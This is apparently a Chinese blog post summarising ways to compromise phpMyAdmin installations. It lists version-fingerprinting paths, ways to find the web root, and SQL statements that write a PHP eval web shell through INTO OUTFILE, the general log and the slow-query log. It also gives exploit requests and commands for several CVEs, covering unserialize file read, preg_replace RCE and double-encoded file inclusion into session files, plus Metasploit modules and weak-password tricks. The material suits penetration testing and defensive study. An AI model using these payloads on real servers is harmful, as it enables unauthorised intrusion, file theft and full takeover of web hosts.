美文网首页Web攻防
phpMyAdmin利用小结

phpMyAdmin利用小结

作者: book4yi | 来源:发表于2020-07-25 19:53 被阅读0次

    获取版本信息

    在phpmyadmin根目录下后面添加:

    README
    ChangeLog
    doc/html/index.html
    Change
    changelog.php
    readme.php
    Documetation.html
    Documetation.txt
    translators.html
    

    在fofa上搜索相应站点进行测试:

    常规getshell手段:

    1、SQL注入:看看网站是否存在注入利用注入出来的账号密码登录
    2、爆破:通过爆破手段进入后台。利用相应的phpmyadmin爆破工具或者通过msf的auxiliary/scanner/http/phpmyadmin_login模块进行爆破

    网站绝对路径获取手段:

    1、phpinfo()
    2、报错页面,可以通过各种fuzz尝试让目标报错,也有可能爆出绝对路径
    3、利用select load_file() 读取文件找到web路径:可以尝试/etc/passwd,apache|nginx|httpd log之类的文件
    4、查看数据库表内容获取
    5、@@datadir参数看mysql路径 反猜绝对路径

    Trick:如何判断目录是否存在,往往确定了/var/www/html目录,但是还有一层目录不能 确定,可以采用目标域名+常用的网站根目录的方式进行爆破,当使用

    select 'test' into outfile '/var/www/$fuzz$/shell.php';
    

    不存在将会报错Can't create/write to file '/var/www/html/666.txt' (Errcode: 2);
    如果存在但是目录写不进去将返回(Errcode: 13);

    1、直接写入一句话至网络根目录下(通用):

    利用过程:
    1、获取网站绝对路径
    2、判断是否有读写权限:

    select @@secure_file_priv
    SHOW VARIABLES LIKE 'secure_file_priv'
    

    secure_file_priv=NULL,禁止导入导出
    secure_file_priv='',不限制导入导出
    secure_file_priv=/path/,只能向指定目录导入导出

    版本5.5.53之前默认为空,之后的版本默认为null

    这个值是只读变量,只能通过配置文件修改,且更改后需重启服务才生效

    3、写入shell到网站根目录下

    select '<?php @eval($_POST[pass]);?>' into outfile 'E://phpstudy_pro//WWW//shell.php'
    

    2、通过日志getshell(仅适用于phpmyadmin):

    原理:MySQL5.0版本以上会创建日志文件,phpmyadmin有一个记录日志的文件,但是一般情况下会关闭。通过修改日志的全局变量,打开日志并指定日志保存路径,设置日志记录名称为.php

    查询日志全局变量:

    show variables like '%general%';
    

    打开日志全局变量:

    set global general_log = "ON";
    

    设置日志保存路径:

    set global general_log_file = "E://phpstudy_pro//WWW//log.php";
    

    进行查询,使查询的语句写入日志文件中:

    select '<?php @eval($_POST[pass]); ?>';
    
    或者我们可以通过慢查询的方式getshell:

    原理:只有当查询语句执行的时间要超过系统默认的时间时,该语句才会被记入进慢查询日志

    启用慢查询日志(默认禁用):

    set global slow_query_log=1;
    

    修改slow_query_log_file日志文件的绝对路径以及文件名:

    set global slow_query_log_file='E://phpstudy_pro//WWW//slow_log.php';
    

    慢查询时间值:

    select @@long_query_time;
    show global variables like '%long_query_time%';
    

    如果查询时间超过了这个时间值(默认为10秒),这个查询语句将被记录到慢查询日志中

    通常情况下执行sql语句时的执行时间一般不会超过10s,所以说这个日志文件应该是比较小的,而且默认也是禁用状态,不会引起管理员的察觉。

    向日志文件写入shell:

    select '<?php @eval($_POST[pass]);?>' or sleep(11);
    

    phpMyAdmin漏洞利用:

    phpmyadmin反序列化漏洞任意文件读取(WooYun-2016-199433)
    影响phpMyAdmin 2.x版本,poc如下:

    POST /scripts/setup.php HTTP/1.1
    Host: your-ip:8080
    Accept-Encoding: gzip, deflate Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trid ent/5.0)
    Connection: close
    Content-Type: application/x-www-form-urlencoded Content-Length: 80
    
    action=test&configuration=O:10:"PMA_Config":1:{s:6:"source",s:11:"/etc/passwd";}
    

    CVE-2016-5734 RCE:
    利用条件:

    1、授权用户;
    2、phpmyadmin4.3.0-4.6.2 ;
    3、PHP 4.3.0-5.4.6

    主要原因由于将用户输入的信息拼接进preg_replace函数第一个参数中,而在PHP5.4.7以前,preg_replace存在漏洞,可以0进行截断,并将正则模式修改为e,进而执行命令。

    在Kali中有自带的EXP

    searchsploit phpmyadmin
    python3 40185.py -u root - root -d test -c "system(whoami)" http://192.168.75.130:8080/
    

    具体请参考:https://www.jianshu.com/p/8e44cb1b5b5b

    CVE-2018-12613文件包含:
    利用条件:

    漏洞版本:phpMyAdmin 4.8.0和4.8.1
    主要原因在index.php中存在一处文件包含逻辑

    满足以下5个条件:

    1、不为空  
    2、字符串  
    3、不以index开头  
    4、不在$target_blacklist这个黑名单中  
    5、Core::checkPageValidity()函数为TRUE
    进而通过二次编码即可绕过检查,造成远程文件包含漏洞。

    判断是否存在漏洞经过二次编码绕过
    /index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd

    然后在sql语句中执行一些语句记录到日志,然后在包含即可
    SELECT '<?php phpinfo()?>';
    查询phpmyadmin cookie值(开发者工具查看)
    http://192.168.75.130:8080/index.php?target=db_sql.php%253f/../../../../../../tmp/sess_ff16b4962b5343089c8fcd4c58df53ba

    CVE-2014 -8959:本地文件包含
    利用条件:

    phpMyAdmin 4 .0.1--4 .2.12
    PHP version < 5.3.4

    POC:

    /gis_data_editor.php?token=你的token值&gis_data[gis_type]=
    /../../../../phpinfo.txt%00
    

    在实际利用中可以利用写入文件到/tmp目录下结合此漏洞完成RCE,php版本可以通过http header、导出表内容到文件的附加内容看到。

    CVE-2013-3238:
    利用条件:

    phpMyAdmin 3.5.x < 3.5.8.1 and 4.0.0 < 4.0.0-rc3

    msf有相应的利用模块:
    exploit/multi/http/phpmyadmin_preg_replace

    CVE-2012-5159:
    利用条件:

    phpMyAdmin v3.5.2.2

    msf有相应的利用模块:
    exploit/multi/http/phpmyadmin_3522_backdoor

    CVE-2009-1151:
    PhpMyAdmin配置文件/config/config.inc.php存在命令执行
    利用条件:

    phpmyadmin 2.11.x < 2.11.9.5 and 3.x < 3.1.3.1

    msf有相应的利用模块:
    exploit/unix/webapp/phpmyadmin_config

    弱口令&万能密码:
    弱口令:版本phpmyadmin2.11.9.2, 直接root用户登陆,无需密码
    万能密码:版本2.11.3 / 2.11.4,用户名’localhost’@'@”则登录成功

    参考如下:


    phpMyAdmin渗透利用总结
    phpMyAdmin 渗透利用总结

    相关文章

      网友评论

        本文标题:phpMyAdmin利用小结

        本文链接:https://www.haomeiwen.com/subject/ptmplktx.html